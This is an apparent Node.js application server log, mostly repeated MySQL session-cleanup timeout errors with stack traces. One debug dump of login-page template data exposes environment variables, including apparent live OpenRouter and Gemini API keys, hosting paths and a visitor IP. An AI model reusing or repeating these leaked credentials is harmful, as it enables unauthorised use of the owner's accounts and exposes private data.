  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 15:09:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 15:30:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 15:30:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 16:46:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 16:46:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 17:41:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 17:41:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 18:16:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 18:16:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 18:31:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 18:31:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 20:17:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 20:17:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 21:30:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 21:30:48' as DATETIME)"
}
2026-01-03T22:21:40.431Z server-connect:router Serving templateView /
2026-01-03T22:21:40.433Z server-connect:app Executing action step identify
2026-01-03T22:21:40.433Z server-connect:app options: { provider: 'security' }
2026-01-03T22:21:40.433Z server-connect:auth No login cookie found
2026-01-03T22:21:40.433Z server-connect:output identity: false
2026-01-03T22:21:40.433Z server-connect:app Executing action step restrict
2026-01-03T22:21:40.433Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-03T22:21:40.433Z server-connect:output restrict: undefined
2026-01-03T22:21:40.852Z server-connect:router Serving templateView /login
2026-01-03T22:21:40.852Z server-connect:app Executing action step identify
2026-01-03T22:21:40.852Z server-connect:app options: { provider: 'security' }
2026-01-03T22:21:40.853Z server-connect:auth No login cookie found
2026-01-03T22:21:40.853Z server-connect:output identity: false
2026-01-03T22:21:40.853Z server-connect:router Render template layouts/authentication
2026-01-03T22:21:40.853Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.8',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-04T22:21:40.852Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.8',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.8',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 22:40:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 22:40:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 23:10:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 23:10:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 23:52:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 23:52:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 23:56:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 23:56:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 00:14:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 00:14:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 01:54:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 01:54:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 05:31:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 05:31:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 05:39:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 05:39:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 07:41:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 07:41:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 08:06:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 08:06:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 08:14:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
